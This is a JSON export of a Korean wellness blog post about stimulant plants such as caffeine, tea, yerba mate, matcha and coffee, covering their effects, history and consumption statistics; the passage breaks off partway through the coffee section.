{"id":2000,"date":"2021-02-26T11:45:50","date_gmt":"2021-02-26T02:45:50","guid":{"rendered":"http:\/\/aligns.co.kr\/?p=2000"},"modified":"2021-10-12T12:55:51","modified_gmt":"2021-10-12T03:55:51","slug":"fit-25","status":"publish","type":"post","link":"https:\/\/aligns.co.kr\/fit-25\/","title":{"rendered":"\uc2dd\ubb3c\uc758 \ud0c1\uc6d4\ud568, \uc6b0\ub9ac \ubab8\uc758 \uae30\ub2a5\ub3c4 \ub192\uc778\ub2e4?"},"content":{"rendered":"\n<p>\uc2dd\ubb3c\uc740 \uc6b0\ub9ac \ubab8 \uc18d \ud544\uc218 \uc601\uc591\uc18c\uc640 \ubbf8\ub124\ub784\uc744 \uc81c\uacf5\ud558\ub294 \ucc9c\uc5f0 \uacf5\uae09\uc6d0 \uadf8 \uc774\uc0c1\uc785\ub2c8\ub2e4. \uc801\uc808\ud558\uac8c \uc0ac\uc6a9\ud560 \uacbd\uc6b0 \uc815\uc2e0\uc801 \uc5d0\ub108\uc9c0\ub97c \uac16\uac8c\ub418\uba70 \ub354 \ud070 \ud65c\ub3d9 \ub2a5\ub825\uc744 \ubc1c\ud718\ud560 \uc218 \uc788\uac8c \ub418\uc8e0 . \uc57d\uac04\uc758 \ub3c4\uc6c0\uc774 \ud544\uc694\ud560 \ub54c\ub9c8\ub2e4 \uc798 \uc6b0\ub824\ub0b8 \ucee4\ud53c \ud55c\uc794\uc774\ub098 \ub204\ud2b8\ub85c\ud53d (nootropic) \uc744 \ub4dc\uc138\uc694 . \ub610 \uc801\uc815\ub7c9\uc73c\ub85c \uc81c\ub300\ub85c \uc12d\ucde8\ud55c \ub2c8\ucf54\ud2f4\uc758 \ud798\uc744 \uc774\uc6a9\ud574 \ud558\uace0 \uc788\ub294 \uc5c5\ubb34\ub098 \uae30\ud0c0 \uc77c\ub4e4\uc744 \ub354 \ud55c \ub2e8\uacc4 \ubc1c\uc804\uc2dc\ud0ac \uc218\ub3c4 \uc788\uc8e0 . \uc774\ub807\uac8c \ub2e4\uc591\ud55c \uc2dd\ubb3c\uc131 \ubb3c\uc9c8\ub4e4\uc740 \uc6b0\ub9ac\uac00 \ud558\ub8e8\uc5d0 \ud544\uc694\ud55c \ub2a5\ub825\uacfc \uc5d0\ub108\uc9c0\ub97c \uac15\ud654\ud560 \uc218 \uc788\ub294 \ub180\ub77c\uc6b4 \ud798\uc744 \uac16\uace0 \uc788\uc2b5\ub2c8\ub2e4. \uc774\ub7f0 \ubb3c\uc9c8\ub4e4\uc774 \uc8fc\ub294 \ub290\ub08c\ubcf4\ub2e4 \uc870\uae08 \ub354 \uac15\ud55c \uac78 \uc6d0\ud558\uc9c0 \uc54a\ub294 \uc774\uac00 \uacfc\uc5f0 \uc788\uc744\uae4c\uc694? \uadf8\ub807\uc8e0. \uc6b0\ub9ac \ubaa8\ub450\ub294 \uc774 \ubb3c\uc9c8\ub4e4\uc758 \ud6a8\uacfc\ub97c \ub9db\ubcf8 \uc774\uc0c1 \ud56d\uc0c1 \uc870\uae08\uc529 \uacfc\ud558\uac8c, \ub354 \uc6d0\ud558\uae30 \ub9c8\ub828\uc774\uc8e0. \ud558\uc9c0\ub9cc \ubb38\uc81c\ub294 , \uc5ec\uae30\uc11c \ubc1b\ub294 \ub290\ub08c\ub4e4\uc774 \uc9c0\ub098\uce58\uac8c \uac15\ub82c\ud558\ub2e4\ub294 \uac83\uc774\uc8e0 . \uadf8\ub9ac\uace0 \uc774\ub97c \ub354 \uc5bb\uc5b4\ub0b4\uae30 \uc704\ud55c \uadf8 \uc9c4\ud654\uc801 \ub3d9\ub825\uc740 \uc624\ud788\ub824 \uc6b0\ub9ac\ub294 \uc808\ubcbd \ub05d\uc73c\ub85c \ub0b4\ubab0 \uc218\ub3c4 \uc788\uc8e0 . \uc2e4\uc81c\ub85c \uadf8\ub7f0 \uc77c\uc774 \uc0ac\ud68c \uacf3\uacf3\uc5d0 \uc774\ubbf8 \uc77c\uc5b4\ub098\uace0 \uc788\ub2e4\uace0 \ubcfc \uc218 \uc788\uaca0\ub124\uc694.<\/p>\n\n\n\n<p>\uc774 \ubaa8\ub4e0 \uac83\ub4e4\uc5d0 \uc788\uc5b4 \uc2dd\ubb3c\uc758 \ucc45\uc784\uc740 \ub2f9\uc5f0\ud788 \uc5c6\uc2b5\ub2c8\ub2e4 . \uadf8\ub4e4\uc740 \uc6b0\ub9ac\uc758 \uc801\uad70\uc774 \uc544\ub2cc \uc544\uad70\uc774\uc8e0 . \uc6b0\ub9ac\uc758 \ud65c\ub3d9\uacfc \uae30\ub2a5\uc744 \ud5a5\uc0c1\uc2dc\ud0a4\ub294 \ub370 \ub3c4\uc6c0\uc744 \uc8fc\uace0 \uc801\uc808\ud55c \ubc29\uc2dd\uc73c\ub85c \uc12d\ucde8\ud560 \uc2dc \uc6b0\ub9ac \uc0b6\uc5d0 \uc720\ucf8c\ud55c \uc990\uac70\uc6c0\uc744 \uc120\uc0ac\ud574\uc8fc\ub2c8\uae4c\uc694 . \uadf8\ub7ec\ubbc0\ub85c \uc774\uac74 \uc804\uc801\uc73c\ub85c \uc6b0\ub9ac\uc758 \uc798\ubabb\uc785\ub2c8\ub2e4 . \uc6b0\ub9ac\uc5d0\uac8c \uc774\ub7f0 \uc774\ub85c\uc6b4 \ub3c4\uc6c0\uc744 \uc8fc\ub294 \uc2dd\ubb3c\ub4e4\uc744 \ub3c5\ud55c \uc57d\ubb3c\ub85c \ub9cc\ub4e4\uc5b4 \ubc84\ub9b0 \uac70\uc8e0. \uce74\ud398\uc778 \ub610\ud55c \uc6b0\ub9ac\uac00 \ucc3b\uc78e\uc774\ub098 \ucee4\ud53c\ucf69\uc5d0\uc11c \uc5bb\uc744 \uc218 \uc788\ub358 \uc131\ubd84\uc5d0\uc11c , \ud604\uc7ac\ub294 \uc6b0\ub9ac\uac00 \ub9c8\uc2dc\ub294 \uac01\uc131\uc74c\ub8cc \ub610\ub294 \ud0c4\uc0b0\uc74c\ub8cc\uc5d0 \uc9d1\uc5b4\ub123\ub294 \uc778\uacf5 \uc57d\ubb3c \uc131\ubd84\uc73c\ub85c \ubcc0\uc9c8\ub418\uc5b4 \ubc84\ub838\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\uc6b0\ub9ac\ub294 \ub05d\uc5c6\uc774 \uc2dd\ubb3c\ub4e4\uacfc \ud568\uaed8 \uc9c4\ud654\ud574\uc654\uc73c\uba70 \uc774\ub4e4\uc774 \uc81c\uacf5\ud558\ub294 \ud3b8\uc758\uc5d0 \ub9de\uac8c \uc6b0\ub9ac\uc758 \ubab8 \ub610\ud55c \ubcc0\ud558\uae30 \uc2dc\uc791\ud588\uc2b5\ub2c8\ub2e4 . \ub9c8\uce58 \ud587\ube5b\uc744 \ud5a5\ud574 \ub098\ubb34\uac00 \ubab8\uc744 \ud2c0 \ub4ef\uc774 \ub9d0\uc774\uc8e0 . \uc6b0\ub9ac\uac00 \ud558\ub8e8\uc758 \uc8fc\ub3c4\uad8c\uc744 \uc81c\ub300\ub85c \ucc3e\uace0 \ud5a5\ud6c4 \ub354 \ud070 \uc77c\uc744 \uc774\ub8e8\uae30 \uc704\ud55c \uc5d0\ub108\uc9c0\ub97c \ud480 (full) \ub85c \ucda9\uc804\ud558\uae30 \uc704\ud574\uc11c\ub294 \uc774 \uacbd\uc774\ub85c\uc6b4 \uc2dd\ubb3c\ub4e4\uc774 \uc8fc\ub294 \ub3c4\uc6c0\uc744 \uc81c\ub300\ub85c \ud65c\uc6a9\ud560 \uc218 \uc788\uc5b4\uc57c \ud569\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\uc624\ub298\uc758 \uce7c\ub7fc\uc5d0\uc11c \uc800\ub294 \ucc98\ubc29 \uc139\uc158\uc744 \ub9c8\uc9c0\ub9c9 \uc758\uacac\uc774\ub77c\ub294 \uc139\uc158\uc73c\ub85c \ub300\uccb4\ud558\uc5ec \uc6b0\ub9ac\uac00 \uace7 \ub2e4\ub8e8\uac8c \ub420 \uc774 \uacbd\uc774\ub85c\uc6b4 \uc2dd\ubb3c\ub4e4\uc5d0 \ub300\ud55c \uac01\uac01\uc758 \ucd94\ucc9c \uc0ac\ud56d\uc774\ub098 \uc0ac\uc6a9 \uac00\uc774\ub4dc\ub97c \uacf5\uc720\ud558\uace0\uc790 \ud569\ub2c8\ub2e4 . \ud2b9\uc815 \uc2dd\ubb3c \ub610\ub294 \uc774\ub85c \ub9cc\ub4e0 \uc57d\ubb3c\uacfc\uc758 \uad00\uacc4\ub294 \uc2a4\uc2a4\ub85c\uc758 \uc120\ud0dd\uc5d0 \ub2ec\ub824\uc788\uc2b5\ub2c8\ub2e4 . \uc800\uc758 \ubaa9\uc801\uc740 \ub2e8\uc9c0 \uc774\uc5d0 \ub300\ud574 \uc5ec\ub7ec\ubd84\uacfc \uc880 \ub354 \uc9c4\uc194\ud55c \ub300\ud654\ub97c \ub098\ub204\uace0 \ud568\uaed8 \ud0d0\ud5d8\ud574\ubcf4\ub294 \uac83\uc774\uc8e0.<\/p>\n\n\n\n<p>\ud604\ub300 \uc2dc\ub300\uc5d0\uc11c \uc774 \uc2dd\ubb3c\ub4e4\uc744 \uc18c\ube44\ud558\ub294 \uc804\ubc18\uc801\uc778 \ubc29\uc2dd\uc740 \ub300\uac15 \uc18c\uac1c\ud574\ub4dc\ub9b0 \uac83 \uac19\ub124\uc694. \uc774\ub4e4\uc758 \ud6a8\ub2a5\uc744 \uc778\uc815\ud558\uace0 \ud6a8\uc728\uc801\uc73c\ub85c \uc4f0\ub358 \ub54c\uc5d0\uc11c , \uc774\uc81c\ub294 \uc774\ub4e4\uc5d0\uac8c \uc8fc\ub3c4\uad8c\uc744 \uc644\uc804\ud788 \ube7c\uc557\uae34 \uc2dc\ub300\uac00 \ub418\uc5b4 \ubc84\ub838\uc2b5\ub2c8\ub2e4 . \uc2dd\ubb3c\ub4e4\uacfc\uc758 \uad00\uacc4\ub97c \ud68c\ubcf5\ud558\ub294 \uc77c\uc740 \uc544\uc8fc \uc911\uc694\ud55c \uc77c\uc774\uba70 , \ub2e8\uc21c\ud788 \uc6b0\ub9ac \uc0dd\uc874\ub9cc\uc744 \uc704\ud55c \uac83\uc774 \uc544\ub2cc , \uc6b0\ub9ac \ub208 \uc55e\uc5d0 \ub2f9\uc7a5 \ub193\uc778 \ud558\ub8e8\ub97c \uc704\ud574\uc11c\ub3c4 \uc18d\ud788 \uc774\ub8e8\uc5b4\uc838\uc57c \ud560 \uc77c\uc785\ub2c8\ub2e4 .<\/p>\n\n\n\n<p>\u25a0<strong> <\/strong><strong>\uce74\ud398\uc778 \u2013 \ucee4\ud53c , \ucc28 , \uc608\ub974\ubc14 \ub9c8\ud14c , \uacfc\ub77c\ub098<\/strong><\/p>\n\n\n\n<p>\uc774 \ucc45\uc744 \uc77d\uace0 \uacc4\uc2dc\ub294 \ubaa8\ub4e0 \ucee4\ud53c\uc758 \ud32c \ubd84\ub4e4 , \uc9c0\uae08\uae4c\uc9c0 \ub108\ubb34 \uc624\ub798 \uae30\ub2e4\ub9ac\uac8c \ud574\ub4dc\ub838\uc2b5\ub2c8\ub2e4 ! \uc774\uc81c \uadf8 \uae30\uc068\uc758 \uc131\ubb3c\uc744 \uc74c\ubbf8\ud558\uc138\uc694 . \ub298 \uadf8\ub7ac\ub4ef\uc774 \uc2a4\ud0c0\ubc85\uc2a4 \uc131\uc804\uc5d0 \uc544\uce68\ub9c8\ub2e4 \uc57d\uc18c\ud55c \uc870\uacf5\uc744 \uc62c\ub9ac\uace0 \uc81c\ub300\ub85c \ucd94\ucd9c\ub41c \uce74\ud398\uc778\uc744 \ubab8 \uc18d\uc5d0 \uc644\ubcbd\ud788 \uc7a5\ucc29\ud558\ub294 \uac81\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\uce74\ud398\uc778\uc740 \uc138\uacc4\uc5d0\uc11c \uac00\uc7a5 \ud754\ud558\uac8c \uc12d\ucde8\ub418\uace0 \uc788\ub294 \uc2dd\ubb3c \uc131\ubd84 \uc911 \ud558\ub098\uc785\ub2c8\ub2e4 . \ucc28\uc758 \uc5ed\uc0ac\ub294 \uae30\uc6d0\uc804 2737 \ub144 \ub108\uba38\ubd80\ud130 \uc9c0\uae08\uae4c\uc9c0\ub3c4 \uacc4\uc18d \uc4f0\uc5ec\uc9c0\uace0 \uc788\uc73c\uba70 , \ubbf8\uad6d\uc758 \uacbd\uc6b0 \uc131\uc778 \uc778\uad6c\uc758 \ubb34\ub824 90 \ud37c\uc13c\ud2b8 \uc774\uc0c1\uc774 \uc77c\uc0c1\uc5d0\uc11c \ub2e4\uc591\ud55c \uc885\ub958\uc758 \uce74\ud398\uc778 \uc74c\ub8cc\ub97c \uc811\ud558\uace0 \uc788\ub2e4\ub294 \ud1b5\uacc4\uac00 \ub098\uc640\uc788\uc2b5\ub2c8\ub2e4 . \uadf8\ub9ac\uace0 \uc774\ub7f0 \ud1b5\uacc4 \ub4a4\uc5d0\ub294 \ub108\ubb34\ub098 \uba85\ud655\ud55c \uc774\uc720\uac00 \uc788\uc8e0. \uce74\ud398\uc778\uc740 \uc544\ub4dc\ub808\ub0a0\ub9b0 , \ucf54\ud2f0\uc194 , \uadf8\ub9ac\uace0 \ub178\ub974\uc5d0\ud53c\ub124\ud504\ub9b0\uc774\ub77c\ub294 \ucd1d 3 \uac1c\uc758 \uc2a4\ud2b8\ub808\uc2a4 \ud638\ub974\ubaac\uc744 \ubaa8\ub450 \ubd84\ube44\ud574\ub0b4\ub294 \uc131\ubd84\uc785\ub2c8\ub2e4 . \uadf8\ub9ac\uace0 \uae30\ubd84\uc744 \ud55c\uaecf \ubd81\ub3cb\uc6cc\uc8fc\ub294 \uc138\ub85c\ud1a0\ub2cc\uacfc \ub3c4\ud30c\ubbfc\uae4c\uc9c0 \ubd84\ube44\ud558\uc8e0 . \ub530\ub4ef\ud558\uace0 \uc798 \ubf51\uc544 \ub098\uc628 \uadf8 \ud55c\uc794\uc758 \ucee4\ud53c\uac00 \uc5b4\ub5a4 \ub0a0\uc5d4 \ubd80\ub4dc\ub7ec\uc6b4 \ud3ec\uc639 , \ub610 \uc5b4\ub5a4 \ub0a0\uc5d0\ub294 \ub2e4\uc18c \ud130\ud504\ud55c \ud3ec\uc639\uc73c\ub85c \ub290\uaef4\uc9c0\ub294 \uc774\uc720\uac00 \ubc14\ub85c \uc5ec\uae30\uc11c \uc624\ub294 \uac83 \uac19\ub124\uc694 . \uc6b0\ub9ac \ub1cc\uc5d0 \ud53c\ub85c\ub97c \uc804\ub2ec\ud574 \uc218\uba74\uc744 \uc555\ubc15\ud558\ub294 \ubb3c\uc9c8\uc778 \uc544\ub370\ub178\uc2e0\uc744 \ucc28\ub2e8\ud558\ub294 \ucee4\ud53c\uc758 \uace0\uc720 \ub2a5\ub825 \ub54c\ubb38\uc5d0 \uc6b0\ub9ac\ub294 \uc54c\ucc28\uace0 \uc0dd\uc0b0\uc801\uc778 \ud558\ub8e8\ub97c \ubcf4\ub0b4\ub294 \ub370 \uc774 \uc74c\ub8cc\uc758 \ub3c4\uc6c0\uc744 \ub9ce\uc774 \ubc1b\uace0 \uc788\uc8e0.<\/p>\n\n\n\n<p>\uc774\ub7ec\ud55c \uc774\uc720\ub4e4\ub85c \uce74\ud398\uc778\uc740 \uc804 \uc138\uacc4\uc758 \uc218\ub9ce\uc740 \ubd80\uc5c9\uc774\uc871\ub4e4\uacfc \uc804\ub0a0 \ubc24 \uc7a0\uc744 \ub9ce\uc774 \uc790\uc9c0 \ubabb\ud55c \uc774\ub4e4\uc5d0\uac8c \uc644\ubcbd\ud55c \uc57d\ubb3c \uc120\ud0dd\uc9c0\ub85c \uc790\ub9ac \uc7a1\uac8c \ub418\uc5c8\uc2b5\ub2c8\ub2e4 . \ubc24\uc0d8 \uadfc\ubb34\ub97c \ud558\ub294 \uacbd\ucc30\ub4e4\uc774\ub098 \uc18c\ubc29\uad00\ub4e4\uc774 \uc788\ub294 \uc0ac\ubb34\uc2e4\uc5d0 \ucee4\ud53c\uc794\uc774 \uc5c6\ub294 \uac83\uc744 \ubcf4\uc2e0 \uc801 \uc788\ub098\uc694 ? \uce74\ud398\uc778\uc740 \uc7a0\uc5d0\uc11c \uae68\uc5b4 \uc788\ub294 \uac78 \ub3c4\uc640\uc904 \ubfd0\ub9cc \uc544\ub2c8\ub77c \uc6b0\ub9ac \ubab8\uc758 \uadfc\uc721\uc774 \uc9c0\uce5c \uc0c1\ud0dc\uae4c\uc9c0 \ub3c4\ub2ec\ud558\ub294 \uc2dc\uac04\uc744 \ub2a6\ucd94\ub294 \ud6a8\uacfc\uac00 \uc788\uc5b4 \ud3c9\uade0 \uc57d 12 \ud37c\uc13c\ud2b8 \uc815\ub3c4 \uc6b0\ub9ac \uc2e0\uccb4 \ud65c\ub3d9\ub825\uc744 \uc99d\uac00\uc2dc\ucf1c\uc8fc\ub294 \uac83\uc73c\ub85c \uc54c\ub824\uc838 \uc788\uc8e0 . \uc18c\ubc29\uad00\ub4e4\uc5d0\uac8c \uc788\uc5b4\uc11c\ub294 \ubd88\ud0c0\ub294 \uac74\ubb3c\uc5d0\uc11c \ubb34\uc0ac\ud788 \ube60\uc838\ub098\uc62c\uc9c0\uc5d0 \ub300\ud55c \uc5ec\ubd80\uac00 \uc774 \uc791\uc740 12 \ud37c\uc13c\ud2b8\uc758 \ucc28\uc774\uc5d0 \uc88c\uc9c0\uc6b0\uc9c0\ub420 \uc218 \uc788\uaca0\ub124\uc694.<\/p>\n\n\n\n<p>\ubb3c\ub860 \uacfc\ub77c\ub098 \ubca0\ub9ac \ub610\ub294 \ucf5c\ub77c\ub11b \ub4f1 \ub2e4\ub978 \uc2dd\ubb3c\uc744 \ud1b5\ud574 \uce74\ud398\uc778\uc744 \uc5bb\ub294 \ubc29\ubc95\ub3c4 \uc788\uc9c0\ub9cc \uc5ed\uc2dc \ud604\ub300 \uc0ac\ud68c\uc5d0\uc11c\ub294 \ucc28\ub098 \ucee4\ud53c\uac00 \uac00\uc7a5 \uc555\ub3c4\uc801\uc73c\ub85c \ub9ce\uc774 \ucc3e\ub294 \uacf5\uae09\ucc98\uc774\uc8e0 . \uc774\uc81c\ubd80\ud130 \uac01 \uc885\ub958\uc5d0 \ub300\ud55c \uc774\uc810\ub4e4\uc744 \uc0b4\ud3b4\ubcf4\uace0 , \uc0c1\ud669 \ubcc4\ub85c \ub9de\ub294 \uc120\ud0dd\uc9c0\ub97c \ucc3e\uc744 \uc218 \uc788\ub294 \ub370\uc5d0 \ub3c4\uc6c0\uc774 \ub418\ub294 \uc815\ubcf4\ub97c \uc54c\ub824\ub4dc\ub9b4\uac83\uc785\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\u25a0<strong> <\/strong><strong>\ucc28<\/strong><\/p>\n\n\n\n<p>\uce74\ud398\uc778\uc744 \ud568\uc720\ud558\uace0 \uc788\ub294 \ucc28 \uc885\ub958\ub4e4\uc740 \ubaa8\ub450 \uac19\uc740 \uc2dd\ubb3c\uc5d0\uc11c \ub9cc\ub4e4\uc5b4\uc9c4 \uac83\ub4e4\uc785\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\ub179\ucc28 , \uc6b0\ub871\ucc28 , \ub9c8\ud14c\ucc28 , \ub4f1\ub4f1 \ub9db\uacfc \uc0c9\uae54 \ubaa8\ub450 \uc0c1\uad00\uc5c6\uc774 \uc804\ubd80 \ub3d9\uc77c\ud558\uac8c \uce74\uba5c\ub9ac\uc544 \uc2dc\ub128\uc2dc\uc2a4\ub77c (Camellia sinensis) \ub294 \uc885\uc5d0\uc11c \ub098\uc628 \uac83\ub4e4\uc774\uc8e0 . \uc774\ub807\uac8c \uac19\uc740 \uc885\uc5d0\uc11c \ub098\uc624\uace0 \uadf8 \ud6a8\ub2a5 \ub610\ud55c \ub300\uac8c \ube44\uc2b7\ud558\uc9c0\ub9cc , \uc81c\uc870\ubc95\uc774 \uac01\uae30 \ub2e4\ub97c \ubfd0\uc785\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\ucc28\uc758 \uc138\uacc4\uc560\uc11c \uc720\uc77c\ud55c \uc544\uc6c3\uc0ac\uc774\ub354\ub294 \uc8fc\ub85c \uc544\ub974\ud5e8\ud2f0\ub098\uc5d0\uc11c \uc0dd\uc0b0\ub418\ub294 \uc608\ub974\ubc14 \ub9c8\ud14c\ucc28\ub85c , \uc6d0\uc8fc\ubbfc \ubd80\uc871\ub4e4\uc774 \uc5f4\ub300\uc6b0\ub9bc\uc5d0 \uc788\ub294 \uac10\ud0d5\ub098\ubb34\uc758 \uc78e\uc744 \ucd94\uc218\ud574\uc11c \ub9cc\ub4e4\ub358 \uac83\uc744 \uac00\uc6b0\ucd08\uc778\ub4e4\uc774 \ube4c\ub824\uc628 \ucc28 \uc885\ub958\uc785\ub2c8\ub2e4 . \uc608\ub974\ubc14 \ub9c8\ud14c\ucc28\ub294 \uace0\uc720\uc758 \uc7a5\uc810\uc774 \uba87 \uac00\uc9c0 \uc788\ub294\ub370 , \uadf8 \uc911 \ud558\ub098\uac00 \ubc14\ub85c \uc624\ub798 \uc6b0\ub824\ub0b4\ub3c4 \uc4f4\ub9db\uc774 \uadf8\ub2e4\uc9c0 \uac15\ud574\uc9c0\uc9c0 \uc54a\ub2e4\ub294 \uac81\ub2c8\ub2e4 . \uadf8\ub798\uc11c \uc624\ub798 \uc6b0\ub824\ub0b4\uba74\uc11c \uce74\ud398\uc778\uc744 \ucd5c\ub300\ud55c \ubf51\uc544\ub0bc \uc218 \uc788\uc8e0.<\/p>\n\n\n\n<p>\ub9c8\ud14c\ucc28\ub294 \uc544\uc8fc \ud6cc\ub96d\ud55c \ucc28\uc785\ub2c8\ub2e4 . \uc800\ub294 \ube14\ub799\ud2f0\ub098 \uc5bc\uadf8\ub808\uc774\uc5d0 \uc57d\uac04\uc758 \ud5a5\uc218\ub97c \uac16\uace0 \uc788\ub294\ub370\uc694 . \uc800\ud76c \uc5b4\uba38\ub2c8\uac00 \uc120\uc218 \uc2dc\uc808 \uc714\ube14\ub364\uc5d0\uc11c \ud2f0\ud0c0\uc784\uc744 \uac16\ub294 \uc2b5\uad00\uc744 \ub4e4\uc5ec\uc640\uc11c \uc800\ub3c4 \uc885\uc885 \uc5b4\uba38\ub2c8\uc640 \ud568\uaed8 \ub9c8\uc2e0 \uc801\uc774 \uc788\uae30 \ub54c\ubb38\uc785\ub2c8\ub2e4 . \ud558\uc9c0\ub9cc \ucc28\ub85c \uc5bb\ub294 \ud6a8\ub2a5\uc744 \ucd5c\ub300\ud654 \ud558\uace0 \uc2f6\ub2e4\uba74 \ubc14\ub85c \ub9c8\ud14c\ucc28\uac00 \uc81c\ub300\ub85c \ub41c \uc120\ud0dd\uc774\uc8e0 . \uc77c\ubcf8\uc5d0\uc11c\ub294 \ucc38\uc120\uc758 \uc815\uc2e0 \uadf8 \uc790\uccb4\uac00 \uc6b0\ub7ec\ub09c \ucc28\ub85c \ub300\uc6b0\ubc1b\ub294 \ucc28\uac00 \ubc14\ub85c \ub9c8\ud14c\ucc28\uc785\ub2c8\ub2e4 . \ucee4\ud53c\ubcf4\ub2e4\ub294 \uc801\uc9c0\ub9cc \ube14\ub799\ud2f0 \ubcf4\ub2e4\ub294 \ub9ce\uc740 \uc591\uc758 \uce74\ud398\uc778\uc774 \ud568\uc720\ub418\uc5b4 \uc788\uc5b4 \uc624\ud6c4\uc758 \ud53c\ub85c\ub97c \uac00\ubccd\uac8c \ub4e4\uc5b4\uc62c\ub9ac\ub294 \ub370 \ud0c1\uc6d4\ud55c \uc120\ud0dd\uc774\uc8e0<\/p>\n\n\n\n<p>\ub9c8\ud14c\ucc28\ub294 \uc78e\uc744 \ucd94\uc218\ud558\uae30 \uc804 \ubaa8\ub450 \ucc9c\uc774\ub098 \uac00\ub9bc\ub9c9 \ub4f1\uc73c\ub85c \uac00\ub9ac\uac8c \ub418\ub294 \ub370 \uc774\ub294 \uc78e\uc774 \uc9c1\uc0ac\uad11\uc120\uc744 \ucb10\uc9c0 \uc54a\uac8c \ud558\ub824\ub294 \uac83\uc785\ub2c8\ub2e4 . \uac00\ub824\uc9c4 \uc78e\ub4e4\uc774 \ud587\ube5b\uc5d0\uc11c \uc5d0\ub108\uc9c0\ub97c \ub354 \ubc1b\uc544\ub0b4\ub824\uace0 \uc560\uc4f0\ub294 \uacfc\uc815\uc5d0\uc11c \ub354 \ub9ce\uc740 \uc5fd\ub85d\uc18c\ub97c \ub9cc\ub4e4\uc5b4 \ub0b4\uae30 \ub54c\ubb38\uc774\uc8e0 . \uad6c\uac15 \uc545\ucde8\ub97c \uc644\ud654\ud558\ub294 \ub370\uc5d0 \ub3c4\uc6c0\uc744 \uc8fc\ub294 \uc774 \uc5fd\ub85d\uc18c\uc640 \ub3d9\uc2dc\uc5d0 \uc6b0\ub9ac\uc758 \uc0ac\uace0 \uae30\ub2a5\uc744 \uac1c\uc120\ud574\uc8fc\ub294 \ud14c\uc544\ub2cc\uacfc \uc544\ubbf8\ub178\uc0b0\ub3c4 \ub354 \ub9ce\uc774 \uc0dd\uc131\uc774 \ub429\ub2c8\ub2e4. \ud14c\uc544\ub2cc\uc740 \uce74\ud398\uc778 \ubcf5\uc6a9\uc73c\ub85c \uc778\ud574 \uc8fc\ub85c \ub098\ud0c0\ub098\ub294 \ucd08\uc870\ud568\uacfc \ubd88\uc548 \ub4f1 , \uc7a0\uc7ac\uc801 \ubd80\uc791\uc6a9\uc744 \uc77c\uc73c\ud0a4\ub294 \uc131\ubd84\ub4e4\uc758 \uade0\ud615\uc744 \ub9de\ucd94\uc5b4 \uc90d\ub2c8\ub2e4 . \ud55c\ud3b8 \uc77c\ubd80 \uc5f0\uad6c\ub4e4\uc740 \uce74\ud398\uc778\uacfc \ud14c\uc544\ub2cc\uc758 \ud63c\ud569\uc740 \uc6b0\ub9ac\uc758 \uc9d1\uc911\ub825 \uc720\uc9c0\ub97c \ub3d5\ub294 \ub370\uc5d0 \ud575\uc2ec\uc801\uc778 \uc5ed\ud560\uc744 \ud558\ub294 \ub1cc\uc758 \uc804\ubc18\uc801\uc778 \uae30\ub2a5\uc744 \ub3d5\ub294 \ubd80\ubd84\uc5d0\uc11c \uad49\uc7a5\ud788 \ud76c\uadc0\ud55c \ud6a8\ub825\uc744 \uac00\uc9c0\uace0 \uc788\ub2e4\ub294 \uc810\uc744 \uc785\uc99d\ud55c \ubc14 \uc788\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<p><strong>\u25a0 <\/strong><strong>\ucee4\ud53c<\/strong><\/p>\n\n\n\n<p>\uc81c\uac00 \uc0b4\uace0 \uc788\ub294 \uc624\uc2a4\ud2f4\uc744 \ud3ec\ud568\ud574 \uc5ec\ub7ec \ub3c4\uc2dc\uc5d0\uc11c \uc880 \uc9c0\ub098\uce58\uac8c \ub7ed\uc154\ub9ac\ud574\uc9c4 \uac10\uc740 \uc788\uc9c0\ub9cc \ucee4\ud53c\ub294 \ud655\uc2e4\ud788 \uceec\ud2b8 \uc885\uad50 \uc218\uc900\uc758 \uaddc\ubaa8\ub97c \ub118\uc5b4 \uc218\ub9ce\uc740 \uad50\uc778\ub4e4\uc744 \uc9c0\ub2cc , \ubc94\uc9c0\uad6c\uc801 \uc885\uad50\uc640 \uac19\uc740 \uc874\uc7ac\ub85c \uc790\ub9ac\uc7a1\uc558\uc2b5\ub2c8\ub2e4 . \ubbf8\uad6d\uc758 \uad6d\ub9bd \ucee4\ud53c \ud611\ud68c\uc5d0\uc11c 2016 \ub144\ub3c4\uc5d0\ub9cc \ubbf8\uad6d\uc778\ub4e4\uc774 \ud558\ub8e8\uc5d0 \ub9c8\uc2e0 \ucee4\ud53c\ub294 400 \ub9cc \uc794\uc774 \ub118\ub294\ub2e4\ub294 \ud1b5\uacc4\ub97c \uacf5\uac1c\ud560 \uc815\ub3c4\uc774\uc8e0 . \uc774\uac83\uc740 \uc77c\ubc18 \ud3c9\uade0 \ubbf8\uad6d\uc778\ub4e4\uc774 \ud558\ub8e8 \ud55c \uc794 \uc774\uc0c1\uc758 \ucee4\ud53c\ub97c \ub9c8\uc2e0\ub2e4\ub294 \uac83\uc744 \uc758\ubbf8\ud569\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\uc6b0\uc120 \uba3c\uc800 \ucee4\ud53c \ubca8\ud2b8\ub77c\uace0 \ubd88\ub9ac\ub294 \uc801\ub3c4\uc758 \ubd81\ucabd \ub610\ub294 \ub0a8\ucabd\uc5d0 \uc704\uce58\ud55c \ud2b9\uc815 \uc5f4 \ubc34\ub4dc\uc758 \ub098\ubb34\uc5d0\uc11c \uc790\ub780 \ucee4\ud53c \uccb4\ub9ac \uc5d0\uc11c \ucee4\ud53c\ucf69\uc744 \ub530\ub0b4\uc5b4 \uac74\uc870\uc2dc\ud0b5\ub2c8\ub2e4 . \uc774 \ud6c4 \uc774 \uac74\uc870\ub41c \ucee4\ud53c\ucf69\uc740 \ub85c\uc2a4\ud305 \uacfc\uc815\uc744 \uac70\uce58\uac8c \ub418\ub294\ub370 \ub85c\uc2a4\ud305\uc774 \uc644\ub8cc\ub418\uba74 \ub2e4\uc591\ud55c \uc815\ub3c4\uc758 \uc785\uc790\ub85c \uac08\uc544\uc838 \uadf8 \uc704\uc5d0 \ub728\uac70\uc6b4 \ubb3c\uc744 \ubd93\uac70\ub098 \uc555\ucd95\uc2dc\ucf1c \ucd94\ucd9c\ud558\ub294 \uacfc\uc815\uc744 \ud1b5\ud574 \ucee4\ud53c\uac00 \ub9cc\ub4e4\uc5b4\uc9c0\uc8e0.<\/p>\n\n\n\n<p>\ubb3c\ub860 